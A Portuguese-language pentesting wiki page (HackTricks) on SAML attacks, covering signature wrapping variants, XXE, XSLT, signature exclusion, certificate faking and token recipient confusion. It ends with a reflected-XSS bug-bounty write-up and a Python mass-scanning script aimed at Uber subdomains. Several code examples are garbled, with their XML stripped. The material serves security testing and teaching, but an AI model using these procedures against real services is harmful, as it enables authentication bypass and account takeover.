# Ataques SAML
## Ataques SAML
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Informações Básicas
{% content-ref url="saml-basics.md" %}
[saml-basics.md](saml-basics.md)
{% endcontent-ref %}
## Gráfico de Ataques
 (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (13).png>)
## Ferramenta
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Uma ferramenta que pode pegar uma URL ou lista de URLs e retorna a URL de consumo SAML.
## Viagem de ida e volta XML
No XML, a parte assinada do XML é salva na memória, depois algumas codificações/de-codificações são realizadas e a assinatura é verificada. Idealmente, essa codificação/de-codificação não deveria alterar os dados, mas baseado nesse cenário, **os dados sendo verificados e os dados originais podem não ser os mesmos**.
Por exemplo, confira o seguinte código:
```ruby
require 'rexml/document'
doc = REXML::Document.new <]>
XML
puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
```
Executar o programa contra o REXML 3.2.4 ou versões anteriores resultaria na seguinte saída:
```
First child in original doc: Y
First child after round-trip: Z
```
Assim é como o REXML viu o documento XML original do programa acima:
.png>)
E assim é como ele viu após uma rodada de análise e serialização:
.png>)
Para mais informações sobre a vulnerabilidade e como explorá-la:
* [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
* [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
## Ataques de Envolvimento de Assinatura XML
Documentos XML contendo Assinaturas XML são tipicamente **processados em dois passos independentes**: **validação da assinatura** e **invocação de função** (lógica de negócios). Se ambos os módulos têm visões diferentes sobre os dados, uma nova classe de vulnerabilidades chamada ataques de Envolvimento de Assinatura XML (XSW) existe.\
Nesses ataques, o **adversário** **modifica** a **estrutura da mensagem** **injetando** elementos **falsificados que não invalidam a Assinatura XML**. O objetivo dessa alteração é mudar a mensagem de tal forma que a **lógica da aplicação e o módulo de verificação da assinatura usem partes diferentes da mensagem**. Consequentemente, o receptor verifica a Assinatura XML com sucesso, mas a lógica da aplicação processa o elemento falso. O **atacante assim contorna a proteção de integridade** e a autenticação de origem da Assinatura XML e pode injetar conteúdo arbitrário.
Da solicitação SAML:
.png>)
### XSW #1
Um atacante pode **adicionar um novo elemento raiz onde a assinatura** é encontrada. Portanto, quando o validador verifica a integridade da assinatura, ele pode notar que tem **verificar** a **integridade** do **Response -> Assertion -> Subject**, e pode se confundir com o caminho **malicioso novo Response -> Assertion -> Subject** em vermelho e usar seus dados.
.png>)
### XSW #2
A diferença do #1 é que o tipo de Assinatura usada é uma **assinatura destacada** onde o XSW #1 usou uma assinatura envolvente.\
Note como a nova estrutura maliciosa é a mesma de antes, tentando confundir a lógica de negócios após a verificação de integridade ter sido realizada.
.png>)
### XSW #3
Neste ataque, uma **Assertion maliciosa é criada no mesmo nível** que a assertion original para tentar confundir a lógica de negócios e usar os dados maliciosos.
.png>)
### XSW #4
XSW #4 é semelhante ao #3, exceto que neste caso a **Assertion original se torna um filho** da Assertion copiada.
.png>)
### XSW #5
No XSW #5, a Assinatura e a Assertion original não estão em uma das três configurações padrão (envolvida/envolvente/desacoplada). Neste caso, a Assertion copiada envolve a Assinatura.
.png>)
### XSW #6
XSW #6 insere sua Assertion copiada na mesma localização que os números 4 e 5. A parte interessante aqui é que a Assertion copiada envolve a Assinatura, que por sua vez envolve a Assertion original.
.png>)
### XSW #7
XSW #7 insere um elemento **Extensions** e adiciona a Assertion copiada como **filho**. Extensions é um elemento XML válido com uma **definição de esquema menos restritiva**. Os autores deste [white paper](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) desenvolveram este método em resposta à biblioteca OpenSAML. OpenSAML usou validação de esquema para comparar corretamente o ID usado durante a validação da assinatura com o ID da Assertion processada. Os autores descobriram que em casos onde Assertions copiadas com o mesmo ID da Assertion original eram filhos de um elemento com uma definição de esquema menos restritiva, eles conseguiram contornar essa contramedida específica.
.png>)
### XSW #8
XSW #8 usa outro elemento XML **menos restritivo** para realizar uma variação do padrão de ataque usado no XSW #7. Desta vez, a Assertion original é o filho do elemento menos restritivo em vez da Assertion copiada.
.png>)
### Ferramenta
Você pode usar a extensão do Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para analisar a solicitação, aplicar qualquer ataque XSW que escolher e lançá-lo.
.png>)
### Artigo Original
Para mais informações sobre este ataque, leia o artigo original em [https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)
## XXE
Se você não sabe que tipo de ataques são XXE, por favor leia a seguinte página:
{% content-ref url="../xxe-xee-xml-external-entity.md" %}
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
{% endcontent-ref %}
Devido ao fato de que as Respostas SAML são documentos XML deflacionados e codificados em base64, podemos testar para **XXE** manipulando o documento XML enviado como a Resposta SAML. Exemplo:
```markup
]>
...
...
...
[...]
```
### Ferramenta
Você também pode usar a extensão do Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para gerar o POC a partir de uma solicitação SAML para testar possíveis vulnerabilidades XXE.
Confira também esta palestra: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## XSLT via SAML
Para mais informações sobre XSLT, acesse:
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
{% endcontent-ref %}
Extensible Stylesheet Language Transformation (XSLT) é uma linguagem Turing-completa para transformar documentos XML em outros tipos de documentos, como HTML, JSON ou PDF. Um aspecto importante a ser notado aqui é que **o ataque não requer uma assinatura válida para ter sucesso**. A razão para isso é que **a transformação XSLT ocorre antes que a assinatura digital seja processada para verificação**. Basicamente, precisamos de uma Resposta SAML assinada para realizar o ataque, mas a assinatura pode ser autoassinada ou inválida.
Aqui você pode encontrar um **POC** para verificar este tipo de vulnerabilidades, na página hacktricks mencionada no início desta seção você pode encontrar payloads.
```markup
...
...
```
### Ferramenta
Você também pode usar a extensão do Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para gerar o POC a partir de uma solicitação SAML para testar possíveis vulnerabilidades XSLT.
Confira também esta palestra: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## Exclusão de Assinatura XML
A Exclusão de Assinatura é usada para testar como a implementação do SAML se comporta quando **não há elemento de Assinatura**. Quando um elemento de Assinatura está **ausente**, a **etapa de validação da assinatura pode ser completamente ignorada**. Se a Assinatura não for validada, então qualquer conteúdo que normalmente seria assinado pode ser adulterado por um atacante.
.png>)
### Ferramenta
A exclusão de assinatura começa interceptando a Resposta SAML e clicando em `Remove Signatures`. Ao fazer isso, **todos** os elementos de Assinatura são removidos.
Com as assinaturas removidas, permita que a solicitação prossiga para o alvo. Se a Assinatura não for exigida pelo Serviço
## Falsificação de Certificado
A falsificação de certificado é o processo de testar se o Provedor de Serviço **verifica se um Provedor de Identidade confiável assinou a Mensagem SAML.** A relação de confiança entre SP e IdP é estabelecida e **deve ser verificada** cada vez que uma Mensagem SAML é recebida. Isso se resume a usar um certificado **autoassinado** para assinar a Resposta SAML ou Afirmação.
### Ferramenta
A extensão do Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) será usada.\
Para falsificar um certificado, comece interceptando a Resposta SAML.\
Se houver uma Assinatura incluída na Resposta, use o botão `Send Certificate to SAML Raider Certs`.
Após enviar o certificado, devemos ver um certificado importado na aba Certificados do SAML Raider. Uma vez lá, destacamos o certificado importado e pressionamos o botão `Save and Self-Sign`.
Ao fazer isso, um clone autoassinado do certificado original é gerado. Agora é hora de voltar à solicitação interceptada ainda retida no Proxy do burp. Primeiro, selecione o novo certificado autoassinado no menu suspenso de Assinatura XML. Em seguida, use o botão `Remove Signatures` para remover quaisquer assinaturas existentes. Finalmente, use o botão **`(Re-)Sign Message`** ou `(`**`Re-)Sign Assertion`** (**qualquer** que seja **mais** **apropriado** para a sua situação).
Após assinar a mensagem com o certificado autoassinado, envie-a. Se nos autenticarmos, sabemos que podemos assinar nossas Mensagens SAML. A capacidade de assinar nossas Mensagens SAML significa que podemos alterar valores na Afirmação e eles serão aceitos pelo Provedor de Serviço.
## Confusão do Destinatário do Token / Confusão do Alvo do Provedor de Serviço
Confusão do Destinatário do Token / Confusão do Alvo do Provedor de Serviço **testa se o Provedor de Serviço valida o Destinatário**. Isso significa que, **se a resposta foi destinada a um Provedor de Serviço diferente**, o Provedor de Serviço **atual** deve perceber isso e **rejeitar a autenticação**.\
O campo **Destinatário** é um atributo do elemento **SubjectConfirmationData**, que é filho do elemento Subject em uma Resposta SAML.
> O elemento SubjectConfirmationData especifica dados adicionais que permitem confirmar o sujeito ou restringir as circunstâncias sob as quais o ato de confirmação do sujeito pode ocorrer. A confirmação do sujeito ocorre quando uma parte confiável procura verificar a relação entre uma entidade que apresenta a afirmação (ou seja, a entidade atestante) e o sujeito das reivindicações da afirmação.
O atributo Destinatário encontrado no elemento **SubjectConfirmationData é uma URL que especifica o local para o qual a Afirmação deve ser entregue**. Se o Destinatário for um Provedor de Serviço diferente daquele que o recebe, a Afirmação não deve ser aceita.
### Como fazer
A Confusão do Destinatário do Token SAML (SAML-TRC) tem algumas condições prévias para que possamos tentar a exploração. Primeiro, **precisamos** ter uma **conta legítima em um Provedor de Serviço**. Segundo, **SP-Target deve aceitar tokens emitidos pelo mesmo Provedor de Identidade que atende SP-Legit**.
O ataque é relativamente simples se as condições forem verdadeiras. Nós **nos autenticamos** no **SP-Legit** através do Provedor de Identidade compartilhado. Em seguida, **interceptamos a Resposta SAML a caminho do IdP para SP-Legit**. Uma vez interceptada, enviamos a **Resposta SAML que foi destinada para SP-Legit para SP-Target em vez disso.** Se **SP-Target aceitar a Afirmação**; nos encontraremos logados com o mesmo nome de conta que temos para SP-Legit e teremos acesso aos recursos correspondentes de SP-Target.
## XSS na funcionalidade de Logout
(Acesse a [pesquisa original aqui](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/))
Após realizar o brute forcing de diretórios, encontrei a seguinte página:
```
https://carbon-prototype.uberinternal.com:443/oidauth/logout
```
É uma página de logout, abri o link acima e fui redirecionado para a seguinte página
```
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
```
O parâmetro base está recebendo uma URL, então que tal substituí-lo pelo clássico `javascript:alert(123);` para acionar um XSS.
### Exploração em Massa
Usando [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) que pode receber uma lista de URLs e depois devolver a URL de callback (consumo SAML), decidi alimentar a ferramenta com todos os subdomínios de `uberinternal.com` para ver se há outros domínios que usam a mesma biblioteca, e havia.
O que fiz em seguida foi criar um script que chama a página vulnerável `oidauth/prompt` e tenta o XSS e, se minha entrada for refletida, ele me dá uma mensagem de vulnerável agradável.
```python
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
```
## Referências
Os ataques foram obtidos de [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\
Você pode encontrar recursos adicionais e write-ups em [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
Aprenda AWS hacking do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).